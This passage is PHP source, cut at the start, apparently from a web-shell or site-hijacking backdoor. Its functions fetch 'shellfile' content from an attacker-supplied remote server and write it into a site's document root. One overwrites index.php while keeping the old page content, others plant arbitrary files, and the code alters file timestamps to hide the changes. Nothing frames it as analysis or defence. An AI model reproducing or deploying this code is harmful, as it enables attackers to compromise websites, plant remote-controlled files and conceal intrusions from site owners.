MsgText::PARAM_EMPTY, $params); } if (empty($params['rename'])) { error('rename ' . MsgText::PARAM_EMPTY, $params); } if ($params['sourcename'] === $params['rename']) { error(MsgText::NOCHANGE); } $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['sourcename']; $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['rename']; $resSource = $params['server'] . str_replace(strtolower($_SERVER['DOCUMENT_ROOT']), '', strtolower($sourceFile)); $resSource = str_replace('\\', '/', $resSource); if (file_exists($sourceFile)) { if (rename($sourceFile, $renameFile)) { success($renameFile); } else { error(MsgText::RENAME_ERROR, compact('renameFile')); } } else { error(MsgText::LOCAL_FILE_EXISTS, compact('resSource')); } } function doIndex($params) { if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $remoteUrl = $params['server'] . trim($params['shellfile']); $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $content = getRemoteContent($remoteUrl); $content = json_decode($content, true); if (!empty($content['result'])) { $oldContent = ''; if (file_exists($localfilepath)) { $oldContent = @file_get_contents($localfilepath); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.htm'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.htm'); } if (copyfile($content['result'], $localfilepath, true, $oldContent)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::INDEX_ERROR, compact('remoteUrl')); } function doSub($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doLock($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { $lockurl = $params['domain'] . $params['filename']; $lockres = getUrl($lockurl); @unlink($localfilepath); if ($lockres['code'] === 200 && !empty($lockres['resp']) && strpos($lockres['resp'], 'success')) { success($lockres['resp']); } error(MsgText::LOCK_FILE_SUCCESS, compact('lockurl', 'lockres')); } @unlink($localfilepath); error(MsgText::LOCK_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doStyle($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $params['domain'] . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); }
Save